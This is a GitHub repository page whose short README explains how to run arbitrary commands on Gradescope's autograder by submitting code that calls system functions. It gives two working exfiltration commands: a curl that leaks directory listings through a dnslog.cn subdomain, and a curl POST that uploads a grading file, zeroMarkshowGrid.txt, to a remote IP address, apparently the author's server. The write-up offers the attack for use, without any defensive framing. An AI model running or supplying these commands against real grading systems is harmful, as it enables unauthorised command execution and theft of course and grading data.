Skip to content

OneRain233/Gradescope-code-exec

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

Grade-scope code execution

How to exploit

User can upload own code and autograder of gradescopt can grade it like online judge. But the program doesn't filter out some dangerous functions, like system. So, users can execute any commends they want.

First if I add this code to my code

curl `ls`.mgvjns.dnslog.cn

I can get a filename from dns log

image-20211112204319365

Next if I add another commend to my code

image-20211112204539657

curl -X POST -F xx=@zeroMarkshowGrid.txt http://129.226.162.60:2333/

Then I can read from my VPS and know the content of this file.

image-20211112204500710

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published